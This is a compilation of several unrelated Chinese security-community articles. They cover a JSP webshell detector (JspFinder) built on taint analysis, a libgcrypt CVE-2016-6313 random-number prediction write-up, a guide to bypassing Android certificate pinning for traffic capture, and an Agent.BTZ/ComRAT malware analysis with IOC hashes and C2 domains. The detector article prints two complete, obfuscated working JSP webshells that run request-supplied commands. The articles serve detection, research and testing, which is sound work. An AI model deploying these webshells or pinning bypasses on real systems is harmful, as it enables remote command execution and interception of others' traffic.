jasper编译jsp的时候有个坑，就是当jsp文件名中含有不为java可识别字符的时候，比如：汉字、一些特殊符号时会输出修改其文件名，比如下面一个jsp的编译结果中就把
- 转换成了_002d。
因此需要设计一个方法能将这种被修改后的文件名能和原文件名对应的方法，由于这部分不是重点，这个实现就不细说，感兴趣的可以去看下代码。
#### 3、对class进行分析
JSPKillder使用的方法为对Webshell.class中的invoke方式进行asm堆栈模拟，然后给一些危险方法下定标记，然后给request.getParameter下一个污点，如果request.getParameter的结果能流入危险方法，自然表示这个jsp是webshell。思路非常的清晰，不过这种方式也有分析的局限性。由于只分析了Invoke一个方法并且未考虑多种方法互相调用时污点的传输变化，如果jsp
webshell定义了多个方法并互相调用最后再命令执行，就无法检测到
。所以JSPFinder要做的事情就是对多方法的互相调用的webshell能够同样进行污点跟踪。
这种模式就比较像gadgetinspector做的事情了，因此我们可以学习gadgetinspector的设计方法，不了解的可以看三梦师傅对gadgetinspector的分析(<https://xz.aliyun.com/t/7058#toc-5>
)。该工具首先采集了所有的方法调用关系，然后对方法进行逆拓扑排序。之所以进行逆拓扑排序，是因为方法调用是有先后关系的，比如：a->b，b->c。如果我们首先对a进行污点分析的话，由于我们并不知道b的入参对于b的结果影响是什么样，自然就无法顺利的判断a的入参对a的结果影响是什么样，因为b的结果是可以影响a的。对于这个例子，正确的分析顺序应当是先分析c的入参对c结果的影响，然后分析b，再分析a。这样就能得到全部方法的污点分析结果。由调用关系到最后得到的c、b、a这个顺序，使用到的算法就是逆拓扑排序。
当逆拓扑结束后，列中第一个为最先需要分析的方法，其余的依次后排。
##### 核心类PassthroughDiscovery.java分析
该类的discover()方法为核心方法。该类的作用为1、通过asm对需要分析的类进行观察，得到一个方法->[被调用方法] 的集合 2、对集合进行逆拓扑排序
3、对逆拓扑排序的结果从第一个开始分析，依次后排。最终会的得到一个方法的第几号入参会污染返回值的一个结果。
前两个功能比较好理解，第三个可以举个例子方便大家理解
package org.sec;
public class test {
public String a(String text) {
String result = text + "hello world!";
return result;
}
}
那么其污点分析的结果如下，分别为方法所属于的类、方法名、方法描述符、第几号入参会其污染返回值
org/sec/test a (Ljava.lang.String) 1
需要注意的是，在java方法调用中，方法序号是从0开始的。也就是说，第一个参数是0号，第二个参数是1号，以此类推。但这里text明明是第一个参数为什么会是1呢，因为非静态方法的第一个参数都为该类的实例。所以a方法的0号参数为org/sec/test类的实例，1号参数为text这个入参，这样就和污点分析结果对应上了。如果该例子中public
String a(String text)改成public static String a(String text)，那么就应该是0号入参会污染返回值。
我的这个PassthroughDiscovery文件和gadgetinspector的PassthroughDiscovery大体类似，说一下主要不同点。
1、gadgetinspector由于是gadgat挖掘工具，所以他耗费多少性能，挖掘的过程时间长一点之类的都无所谓。正常来说gadgetinspector会对最少30+w的方法做污点分析。这个时间我试了一下，也不长，大概1分钟多点。但关键的是测试的时候我电脑风扇直接起飞了，因此这个过程肯定是比较耗费性能的。试想如果你用一个jsp
webshell扫描工具扫一下，客户电脑性能不够直接累瘫了不是很尴尬。。。因此我们使用gadgetinspector的PassthroughDiscovery方法首先对jdk中的30+w的方法进行污点分析，并把分析结果保存到passthrough.dat中作为内置。当JspFinder在分析webshell的时候只需要先读取内置的部分污点，然后再实时分析目标webshell的污点即可。因此速度非常快，基本等于是秒出结果。
2、我在测试过程中发现，gadgetinspector对jdk的污点分析并不是很准确，有许多可以污染的类他却判定无法污染，或者参数0、1都可以污染的却只报参数0可以污染，导致很多漏报的情况出现。目前暂且的解决方案是添加部分方法的白名单先用着，后面如果要做细的话还得优化gadgetinspector的逻辑。由于PassthroughDiscovery是CoreMethodAdapter的父类(这是JspFinder项目中的类，对应gadgetinspector中的TaintTrackingMethodVisitor)的，当PassthroughDiscovery使用visitMethodInsn分析完一个类之后会调用super.visitMethodInsn也就是CoreMethodAdapter的visitMethodInsn，由于我后面一个核心类(同样继承CoreMethodAdapter)也需要使用污染类白名单，因此我直接把使用白名单进行污点分析的操作写到了CoreMethodAdapter的visitMethodInsn方法中。如果需要添加新的白名单直接按下图的方式写就行。
类名 方法名 方法描述符 参数位置
方法描述符为*代表匹配该类中该方法名的所有方法
3、测试过程中发现一种情况，比如一个方法是下面这样的
public String abc(String abc){
return new String(abc);
}
如果按照gadgetinspector的写法，只有在污点跟踪的方法有返回值的时候，污染结果才会被放到操作数栈的栈顶，只有污染结果在操作数栈那么污染才能传递。但如果是上面的那段return代码，要知道构造方法是没有返回值的，因此，在gadgetinspector的逻辑中，上面这段代码无法污染返回值。但事实上，如果evilCode可控，这个方法的结果我们必然可控。
导致这个差异性的原因是因为jvm中的new指令的问题，首先看abc方法的字节码
从字节码可以推出，在准备执行String的初始化方法时，操作数栈内容是下面这样的，上面是栈顶，下面是栈低。
当执行String初始化方法是参数1和上面的new
java.lang.String会弹出。当执行完String初始化方法后，操作数栈内容如下。只剩下了之前最下面的一个new
java.lang.String，此时这个new
java.lang.String已经变为了值为参数1的一个String对象。因此，虽然调用了构造方法其没有返回值还是可以污染到abc方法的返回值，这是gadgetinspector没有考虑的部分。
为了修复这个问题，我在CoreMethodAdapter的visitMethodInsn方法最后添加了如下代码，因为当返回值为空时，操作数栈却不为空，而且该方法可以被污染，那么就把污染传递给执行方法执行完毕后的栈顶
4、处理类似list.add这种集合赋值的方法，比如如下代码的webshell
public void webshell(String cmd) throws IOException {
java.util.List<String> cmds = new java.util.ArrayList<String>();
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process p = processBuilder.start();
}
jvm指令如下
我们最关心的是这一段指令
26: aload_2
27: aload_1
28: invokeinterface #6, 2 // InterfaceMethod java/util/List.add:(Ljava/lang/Object;)Z
aload_2表示从本地变量表第一位取数引入操作数栈，aload_1表示从本地变量表的第一位取数引入操作数栈。由于该方法不是静态方法，本地变量表第0位应当为方法所属类的实例，本地变量表第1位位参数cmd。本地变量表第二位是什么呢？注意看下面的jvm指令。
这段jvm指令表示实例化了一个ArrayList类，然后把实例好的ArrayList存入本地变量表第2位。再看之前的指令，在要执行list.add方法的那一刻，操作数栈应该如下图：
从道理上来说，ArrayList执行add方法，如果add的参数有污点，那么那个ArrayList执行完之后也会带上污点。不过我们在执行完list.add方法后，上面的操作数栈就为空了，因为cmd和ArrayList都会弹出。我们所谓的污点跟踪其实是用代码模拟jvm，他其中的污点流动有一些框架代码(CoreMethodAdapter就是框架代码)没预判的到的，需要我们手动传递。但此时arraylist都被弹出了，我们往哪里传污点？答案是可以往本地变量表里面传，这就需要我们知道ArrayList在本地变量表的几号，为此我在所有的astore上都打了一个instruction字串的标记，instruction1表示他是被astore指令存在本地变量表1的位置的，instruction2表示他是被astore指令存在本地变量表2的位置的。
然后在CoreMethodAdapter的visitMethodInsn方法中处理，argTaint.get(0)表示方法入参的第0号入参也就是list对象。也就是说如果在list.add的时候可以通过看instruction后面的数字是多少来得到list是在本地变量表的第几位，然后把污点传到本地变量表的那个位置。这样后面的指令在取本地变量表的时候取到的都是被污染的list，污点就可以继续传递了。
5、原来的情况下，污点都是interger类型的，标记着是第几位参数能污染返回值，由于我们引入了instruction字串，所以我们在一个方法分析基本完毕，执行到RETURN指令时，返回污点的时候需要只返回integer类型的内容(也就是能影响返回值的是几号入参，数字0表示0号入参，数字1表示1号入参)，这些才是我们需要的东西，不要把我们自己加的instruction啥的返回回去了
##### 核心类FindEvilDiscovery.java分析
这个方法的作用为寻找有没有request请求能控制的值可以流入恶意方法的，如Runtime.exec，ProcessBuilder。
具体实现为，从逆拓扑排序结果的第一个方法开始，通过asm观察其有没有调用危险方法，如Runtime.exec，ProcessBuilder，如果调用了，把其方法名和几号入参能流入恶意类的信息加入危险类集合EvilDataflow中。然后再看逆拓扑排序结果的第二个，观察其调用了哪些方法，如果其调用了Runtime.exec，ProcessBuilder或者EvilDataflow中的方法，那么看第二个方法能否流入ProcessBuilder或者Runtime.exec，又或者能否流入EvilDataflow中之前存进去的能流入到危险方法的那一号入参。如果可以的话，把方法名和其是第几个入参能污染计入EvilDataflow中。一直循环这个过程。一直到分析的方法名为_jspService时(jsp编译为class时，所有写在jsp里面的内容都会放到_jspService方法中)如果能够污染危险函数的入参为1号位时，那么该jsp为webshell。因为__jspservice代码如下。1号位参数永远是request。如果能流入危险函数的入参为1号，也就是说request方法可以流入危险函数。就表示request可以流入Runtime.exec、ProcessBuilder那么此jsp必定为webshell。
但只有这种情况才是webshell吗，当然不是，这只是最简单的一种情况，request的参数直接进入了没有任何变换的Runtime.exec或者ProcessBuilder中。举一个例子：
<%@ page pageEncoding="UTF-8" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="sun.misc.BASE64Encoder" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception {
List<String> list = new ArrayList<String>();
BASE64Decoder decoder = new BASE64Decoder();
BASE64Encoder encoder = new BASE64Encoder();
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
list.add(new String(decoder.decodeBuffer("Y21k")));
list.add(new String(decoder.decodeBuffer("L2M=")));
}else{
list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
list.add(new String(decoder.decodeBuffer("LWM=")));
}
list.add(new String(decoder.decodeBuffer(str)));
Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return encoder.encode(result.getBytes("UTF-8"));
}
%>
<%
String name ="Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre>
<%= name %>
</pre>
</BODY>
</HTML>
这个webshell首先是把恶意类名，要执行的命令等都先base64进行了编码，然后再通过反射调用的。检测该webshell有一个麻烦。就是我们需要在模拟堆栈的时候同时传递base64的字符串，再调用base64解码的时候我们的模拟代码也需要同时解码，这样调用反射的时候才能知道反射的类名是什么
为了实现这一点，我在模拟jvm执行LDC指令的时候，把LDC指令压入的字符串，也就是"Y21k"，"L2M="
这些，塞入了操作数栈中，跟着方法的模拟进行传递。
当调用如append、substring等操作字符串的值时，代码会模拟真实的情况，对字符串进行拼接或者裁剪
然后当流入到decodeBuffer的时候，对字符串进行模拟解码然后塞入操作数栈
最后当攻击者反射调用方法时，如果反射的内容是ProcessBuilder或者Runtime，那必定是webshell。因为正常业务如果调用到Runtime，他会光明正大的直接调用，鬼鬼祟祟的通过反射调用恶意类，基本是攻击者所为。
再举一个webshel的例子
<%@ page import="java.util.Scanner" pageEncoding="UTF-8" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD=POST ACTION='#'>
<INPUT name='q' type=text>
<INPUT type=submit value='Fly'>
</FORM>
<%!
public static String getPicture(String str) throws Exception{
String fileSeparator = String.valueOf(java.io.File.separatorChar);
if(fileSeparator.equals("\\")){
str = new String(new byte[] {99, 109, 100, 46, 101, 120, 101, 32, 47, 67, 32}) + str;
}else{
str = new String(new byte[] {47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32}) + str;
}
Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null, new Object[]{}), new Object[] { str });
Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A");
String result = "";
result = sc.hasNext() ? sc.next() : result;
sc.close();
return result;
}
%>
<%
String name ="Input Nothing";
String query = request.getParameter("q");
if(query != null) {
name = getPicture(query);
}
%>
<pre>
<%= name %>
</pre>
</BODY>
</HTML>
这次反射调用没有使用base64，而是使用了字节数组还原为String的方式，那么思路一样，我们需要在模拟代码中模拟字节数组还原String的过程。
首先当组装字节数组的时候是用BIPUSH把ascii码压入数栈，然后用BASTORE指令把ascii码放到数组中，我们在模拟BIPUSH指令的代码中，把ascii码压入模拟的操作数栈的栈顶，
然后在模拟BASTORE的指令的代码中把ascii放到一个ArrayList中。
当调用到new String(byte[]）的时候触发到以下代码，把ArrayList中的ascii码还原成String，然后压入操作数栈进行传递。
在后面如果这个String为Runtime或者ProcessBuilder而其又被反射调用，就会被判定为webshell，如果没被反射调用就是正常文件。
主要流程，就是这样更多的细节都在代码里。目前只能检测Runtime、ProcessBuilder的一句话木马，冰蝎等多功能木马的马上就会加上。start项目不迷路哦，<https://github.com/flowerwind/JspFinder>
### 最后的话
感谢@4ra1n和@threedr3am师傅前面的研究的铺垫
参考：
<https://xz.aliyun.com/t/10622>
<https://xz.aliyun.com/t/7058> | 社区文章 |
作者：[Hcamael](http://0x48.pw/2017/01/06/0x2a/)
本次分析源于去年HITCON的一题密码学题目, 比赛完了本来就准备分析一波, 但是一直拖到了现在, 该题利用到了CVE-2016-6313,
可以预测到gcrypt生成的随机数中第580-600共20byte的值
#### CVE-2016-6313
网上对该CVE没啥详细的分析, 就ppp的wp写的比较详细
漏洞代码段:
POOLBLOCKS=30
DIGESTLEN=20
BLOCKLEN=64
其中`pool`为随机数池, 一串未知的随机数, 循环结束后的`p`则是我们最终得到的随机数
从代码中可以看出, 整个`POOLSIZE = POOLBLOCKS * DIGESTLEN = 600`
随机数池以600byte为单位进行生成随机数
在600byte的随机池中又以20byte进行分块, 但是循环只循环了29次, 其中最开始的20byte不变.
在循环中对随机数的处理, 有这么一个逻辑
取当前的POOLBLOCK的前20byte和后44byte组成64byte, 进入`_gcry_sha1_mixblock`函数进行sha1的hash计算.
如果当前POOLBLOCK后面不足44byte则从开头获取
这就会导致, 当计算最后一个POOLBLOCK时, 新生成的hash值为前20byte+开头的44byte进行sha1的hash计算,
而这些值都为输出的随机数.
也就是说, 如果我们已知前580bytes的随机数, 则可以预测到580-600之间20byte的随机数.
### sha1计算
其中`_gcry_sha1_mixblock`和正常`sha1`函数的区别是, `_gcry_sha1_mixblock`不增加padding,
hash初始值由第一个参数决定.
在代码中`_gcry_sha1_mixblock`的第一个参数是`&md`, 为上一次hash计算的结果, 也就是前20byte的值
用python实现了该功能代码:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import ctypes
import struct
def ROTL32(x, r):
try:
a = (x << r) ^ (x >> (32 - r))
except:
print type(x)
print type(r)
exit(-1)
return a
class SHA1():
def __init__(self):
self.length_ = 0
self.unprocessed_ = 0
self.hash_ = [
0x67452301,
0xefcdab89,
0x98badcfe,
0x10325476,
0xc3d2e1f0
]
def sha1_process(self):
wblock = []
for x in xrange(80):
wblock.append(0)
for x in xrange(16):
wblock[x] = self.block[x]
for x in xrange(16, 80):
wblock[x] = ROTL32(wblock[x - 3] ^ wblock[x - 8] ^ wblock[x - 14] ^ wblock[x - 16], 1) & 0xFFFFFFFF
a = self.hash_[0]
b = self.hash_[1]
c = self.hash_[2]
d = self.hash_[3]
e = self.hash_[4]
for x in xrange(20):
temp = ROTL32(a, 5) + (((c ^ d) & b) ^ d) + e + wblock[x] + 0x5A827999
temp &= 0xFFFFFFFF
e = d
d = c
c = ROTL32(b, 30) & 0xFFFFFFFF
b = a
a = temp
for x in xrange(20, 40):
temp = ROTL32(a, 5) + (b ^ c ^ d) + e + wblock[x] + 0x6ED9EBA1
temp &= 0xFFFFFFFF
e = d
d = c
c = ROTL32(b, 30) & 0xFFFFFFFF
b = a
a = temp
for x in xrange(40, 60):
temp = ROTL32(a, 5) + ((b & c) | (b & d) | (c & d)) + e + wblock[x] + 0x8F1BBCDC
temp &= 0xFFFFFFFF
e = d
d = c
c = ROTL32(b, 30) & 0xFFFFFFFF
b = a
a = temp
for x in xrange(60, 80):
temp = ROTL32(a, 5) + (b ^ c ^ d) + e + wblock[x] + 0xCA62C1D6
temp &= 0xFFFFFFFF
e = d
d = c
c = ROTL32(b, 30) & 0xFFFFFFFF
b = a
a = temp
self.hash_[0] += a
self.hash_[1] += b
self.hash_[2] += c
self.hash_[3] += d
self.hash_[4] += e
for x in xrange(5):
self.hash_[x] &= 0xFFFFFFFF
def str_to_block(self, x):
self.block = []
for i in xrange(x, x + 64, 4):
tmp = self.msg[i: i + 4]
tmp = int(tmp.encode('hex') or '0', 16)
self.block.append(tmp)
def sha1(self, msg, length):
self.msg = msg
self.length_ = length
self.msg += (64 - length % 64) * '\x00'
self.str_to_block(0)
self.sha1_process()
return self.final()
def final(self):
for x in xrange(5):
self.hash_[x] = ctypes.c_uint32(self.hash_[x])
result = ""
for x in self.hash_:
result += "{:0>8}".format(hex(x.value)[2:-1])
return result
if __name__ == '__main__':
hash_test = SHA1()
msg = "a"*64
print hash_test.sha1(msg, len(msg))
### 测试
代码见: <https://github.com/Hcamael/ctf-library/tree/master/OTP>
其中`hint_test.c`为测试代码, `check_random.py`为预测随机数代码
$ gcc hint_test.c -o test -lgcrypt
$ ./test | xargs python check_random.py
the random can be predicted
需要装libgcrypt库, 源码见参考链接2, 自行编译安装, 影响版本见参考链接1.
如在测试过程中失败, 首先检测编译安装的版本是否是含有漏洞的版本, 然后再用`ldd test`, 查看动态链接到的库是否是你编译安装的那个库.
ps: 我是使用1.7.2版本编译安装进行测试, 测试成功
### patch分析
1.7.3patch之后的代码为:
我们再来分析下patch之后的代码
patch的逻辑很简单, 从前20byte+后44byte进行sha1计算变成了, 当前20byte加后44byte
前20byte的值我们是可以获知的, 但是当前POOLBLOCK的20byte我们却无法知道, 所以就无法再进行随机数预测了.
### 总结
具体利用就是HITCON 2016 OTP 密码学题目, 题解payload见参考链接3
参考:
1. <https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-6313>
2. <https://github.com/gpg/libgcrypt/blob/libgcrypt-1.7.3/random/random-csprng.c>
3. <https://github.com/pwning/public-writeup/blob/master/hitcon2016/crypto150-otp/README.md>
4. <https://github.com/Hcamael/ctf-library/tree/master/OTP>
* * * | 社区文章 |
# #0x00 日常BB
还是把自己平时发现的，自认为有点意思的点罗列出来，班门弄斧，师傅们别笑话→.→
本次想分享的是关于自己遇到的一些关于app测试抓包遇到几种状况，同时也看到好多身边的小伙伴很多时候根本不会折腾这些方式，另外自己暂且还没有将技术探究到多深入，希望文中的点能让人有所可用。
# #0x01 关于代理
首先，通过一张图我们可以看到我们日常抓包一直说的“设置代理”，“走代理”到底对于C/S或者B/S的交互来说意味着什么，扮演了什么样的角色。
接着，我们设置代理之后，通过导入证书之类的操作之后就可以抓到http、部分https的包了。我尝试用两张图来直观展示代理软件证书的作用(此处是导入burpsuite证书)，浏览器导入证书之后访问网站的情况截图，其实这中间涉及到ssl的一些点，我把参考文章放到了最后，有需要的可以看下具体的认证过程，如下图所示：
那么测试过程中有一些情况是只“导证书、设代理”这些是不够的，需要在借助一些其他工具或者使用其他方式的。我们说说这些情况下我们可以做些什么突破或绕过限制：
# #0x02 借助框架&模块
## 1\. Xposed - JustTrustMe
如本标题所言，just trust
me，我们自然要说的就是xposed的一个好用的模块[JustTrustMe](https://github.com/Fuzion24/JustTrustMe)
### 1.1 模块原理
**Point: disable**
An xposed module that disables SSL certificate checking for the purposes of auditing an app with cert pinning
### 1.2 使用方法
使用的话已经有特别多的文章介绍使用，以夜神的安卓模拟器为例，也就只需要我们做几个简单的操作：
1. 安装夜神模拟器；
2. 安装xpose框架；
3. 安装[JustTrustMe](https://github.com/Fuzion24/JustTrustMe)；
4. 激活[JustTrustMe](https://github.com/Fuzion24/JustTrustMe)模块；
5. 操作结束；
### 1.3 案例演示
你可以随便找一个常用APP测试即可，有很多部分App是使用此框架和模块后即可抓到包了。
## 2\. Xposed - SSLUnPinning
与JustTrustMe类似的，[SSLUnPinning](https://github.com/ac-pm/SSLUnpinning_Xposed)自然针对SSLPinning而生，他也是Xpose下的一个模块。
### 2.1 模块原理
**Point: bypass**
Android Xposed Module to bypass SSL certificate validation (Certificate Pinning).
### 2.2 使用方法
在安装xposed之后
1. 安装[SSLUnPinning](https://github.com/ac-pm/SSLUnpinning_Xposed)；
2. 激活[SSLUnPinning](https://github.com/ac-pm/SSLUnpinning_Xposed)模块；
### 2.3 案例演示
结合上面的justtrustme模块使用，效果很好。
# 0x02 借助代理软件
这里的代理软件指的场景是结合安卓模拟器，不在模拟器本地设置代理，通过宿主机将模拟器流量全部代理到抓包软件的方式。
## 1\. 用proxifier说话
### 1.1 是否功能够用
Proxifier是一款功能非常强大的socks5客户端，可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。
### 1.2 原理
Proxifier可以通过设置，将进程流量定向到特定的代理，简单说就是可以全局走代理，也可以单独进行走单独代理。网上文章倒是有不少。我想要说的就是针对模拟器不能设代理的问题，将夜神的流量代理到抓包软件去。
### 1.3 实例一下
你应该见到过这几种提示吧？
**“XXX请检查是否设置代理”**
**"XXX已停止运行"**
应用运行检测本地是否设置代理，并终止应用运行，说白了就是不允许本机设置代理运行。OK，fine，那就不设置代理了呗。这时候Proxifier不就正好派上用场了么。
### 1.4 使用方法
#### 1.4.1 Windows 夜神 + Proxifier
* 找准进程
* 设置proxy
* 设置rules
* 验证结果
#### 1.4.2 mac 夜神/Genymotion + Proxifier
试了一下，Mac下不管是夜神还是Genymotion都是同一个进程。
* 找准进程
**找了半天，中间像下面的图中看到的，一直设置进程为“Nox App Player”，其实mac下的进程添加的时候应该是VBoxHeadless**
* 设置proxy
* 设置rules
* 验证结果
# 0x03 借助“虚拟机”
那，如果应用App运行时不允许在模拟器运行，直接终止运行咋个办，那你可以试试虚拟机了，也就是[VirtualXposed](https://github.com/android-hacker/VirtualXposed)
### 1.1 功能是否够用
VirtualXposed一开始应该是为了让像我一样的不想刷Xpose、获取root一顿操作的懒人设计的，像图中看到的克隆应用等功能，或者是真实物理机双开应用。模拟了一个虚拟环境，其中还运行着Xpose，还有自己可以安装其他模块。
对于测试而言，正好应用于众多应用App模拟器不允许运行的状况，VirtualXposed内运行应用，手机设置代理，避免了模拟器运行的检测，同时可以设置代理进行抓包测试。
### 1.2 使用方法
傻瓜式操作，所有功能大概一看就知道了。
### 1.3 几点注意
* 同一版本VirtualXposed，不同Android版本运行会直接影响是否可以抓到包
> 某次测试中，Android6以上机子使用VirtualXposed抓不到包，我Android6的红米note3可以
* 同一Android，不同版本VirtualXposed影响一些Xpose module是否可以运行(不排除是因为我的Android6版本低了)
> 某次测试中，装了高版本的VirtualXposed导致Xpose
> module运行出现bug，无法脱掉App的壳儿，换了低版本的VirtualXposed可以。
* 不用Android版本、不同版本VirtualXposed、不同xpose module开发时间，将这三者不同的方式组合可能会因为兼容性等问题导致运行不畅、不能抓包的问题，得折腾折腾
# 0x04 扩展一点
## 1.1 边抓包测试边被动扫描
这么长时间，被动扫描这么好的方式，可以结合在我们的抓包过程，
* 配合burpsuite插件passive-scan-client，将流量也全部抓发到chaitin的xray或者其他被动扫描服务
* 将Proxifier代理出的流量直接全部代理到xray进行扫描，毕竟Proxifier相当好用
## 1.2 burp插件和xray
* [burpsuite 插件passive-scan-client](https://github.com/c0ny1/passive-scan-client.git)
* [chaitin x-ray](https://github.com/chaitin/xray)
# 0x05 参考
* [SSL技术白皮书](http://www.h3c.com/cn/d_200812/622834_30003_0.htm#_Toc212542722)
* [HTTPS与SSL](https://www.jianshu.com/p/c03f47e7b9de) | 社区文章 |
# 【木马分析】2008年重创五角大楼的威胁卷土重来：病毒新变种出现（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：intezer.com
原文地址：<http://www.intezer.com/new-variants-of-agent-btz-comrat-found/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[an0nym0u5](http://bobao.360.cn/member/contribute?uid=578844650)
预估稿费：80RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
Agent.BTZ也称作ComRAT，是全球范围内最古老的威胁之一，以2008年袭击美国五角大楼时间著称，技术层面来说，Agent.BTZ是一个由Turla组织开发维护的运用了Snake/Uroburos
rootkit技术的用户模式RAT。在过去的几个月我们主导了针对Agent.BTZ代码库以及该病毒如何利用Intezer代码智能技术进行变异的研究，基于我们的研究成果，我们捕捉到了一批新病毒样本，还有超过70个之前未知的活跃IP和DNS地址，这些IP地址正在滥用在非洲和中东地区的卫星互联网服务。本文是我们过去几个月新研究成果的简短概述，后续还会发表文章详细描述我们利用自己的技术发现病毒新变种的过程并会对新病毒样本作完整分析。
**Dropper**
病毒代码本身并没有抄袭，它与WinRAR没有任何关系，它只是尝试模仿WinRAR的SFX安装器，复制了WinRAR的图标、布局等，如下图所示：
病毒执行时dropper会在主机重启后安装activeds.dll，这是一个直接加载到explorer.exe的代理动态链接库，该代理动态链接库用于加载病毒的核心payload
stdole2.tlb，之后dropper会删除所有之前安装在受害者主机的Agent.BTZ，这通过以下硬编码文件路径来实现：
a）C:Documents and Settings<USER>Application
Data\Microsoft\Windows\Themes\termsvr32.dll
b）C:Documents and Settings<USER>Application
Data\Microsoft\Windows\Themes\pcasrc.tlb
注意：以上文件名首次使用是在2014年，详细可以参考automatic Dr.WEB report。
上述步骤完成后dropper会利用以下命令进行重命名并自我销毁：
C:WINDOWSsystem32rundll32.exe
C:DOCUME~1<USER>~1APPLIC~1MICROS~1Windowsstdole2.tlb,UnInstall C:~$.tmp”
a）69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548
b）6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4
stdole2.tlb介绍：上文提过该文件是伪造的sfx
dropper安装的病毒的主要组件，它通过activeds.dll加载，我们从每一个样本中提取了配置信息以获取c2地址和内部版本信息（PVer），这些信息存储在每一个Agent.BTZ样本中。以前Agent.BTZ病毒的开发者采用了一个增量值标识内置版本号，据2014年G-Data的报道[5]，已知的最后一个值是3.26，看起来病毒开发者察觉到了该报道，从此停用了增量值。该病毒的新变种采用了不同以往的0.8/9.<RANDOM_VALUE>（随机值）数字化系统使得研究者更难定位到样本的版本号。
、
从样本提取到的配置信息–PVer 0.9.1528434231
即使没有PVer序列号，我们也能够利用自己的技术手段[6]获知这些新样本是来自于新版本，当然这些病毒样本是在Agent.BTZ最后已知的版本3.25/3.26版本基础上发展而来，以下是下图中前两个文件的md5：
1）4e553bce90f0b39cd71ba633da5990259e185979c2859ec2e04dd8efcdafe356(VirusTotal)
2）3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2(VirusTotal)
这些文件几乎都是在3年前上传到VT的！
来自Intezer代码智能工具[7]的图展示了我们数据库中的与新样本共享代码片段的系列文件，这些代码片段专门针对Turla组织的恶意软件家族，并没有在其他任何恶意或合法软件中出现过。
**发现的样本**
1）6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96
2）49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e
3）e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49
4）89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea
**IOC**
sha256 69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548 dropper
sha256 6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4 dropper
sha256 73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88 activeds.dll
sha256 50067ebcc2d2069b3613a20b81f9d61f2cd5be9c85533c4ea34edbefaeb8a15f activeds.dll
sha256 380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac activeds.dll
sha256 9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426 activeds.dll
sha256 628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24 activeds.dll
sha256 f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2 activeds.dll
sha256 a093fa22d7bc4ee99049a29b66a13d4bf4d1899ed4c7a8423fbb8c54f4230f3c activeds.dll
sha256 6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96 stdole2.tlb
sha256 49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e stdole2.tlb
sha256 e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49 stdole2.tlb
sha256 89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea stdole2.tlb
ip 81.199.34[.]150
dns elephant.zzux[.]com
dns angrybear.ignorelist[.]com
dns bigalert.mefound[.]com
dns bughouse.yourtrap[.]com
dns getfreetools.strangled[.]net
dns news100top.diskstation[.]org
dns pro100sport.mein-vigor[.]de
dns redneck.yourtrap[.]com
dns savage.2waky[.]com
dns tehnologtrade.4irc[.]com
ip 81.199.160[.]11
dns forums.chatnook[.]com
dns goodengine.darktech[.]org
dns locker.strangled[.]net
dns simple-house.zzux[.]com
dns specialcar.mooo[.]com
dns sunseed.strangled[.]net
dns whitelibrary.4irc[.]com
dns bloodpearl.strangled[.]net
dns getlucky.ignorelist[.]com
dns proriot.zzux[.]com
dns fourapi.mooo[.]com
dns nopasaran.strangled[.]net
ip 78.138.25[.]29
dns showme.twilightparadox[.]com
dns mouses.strangled[.]net
ip 82.146.175[.]69
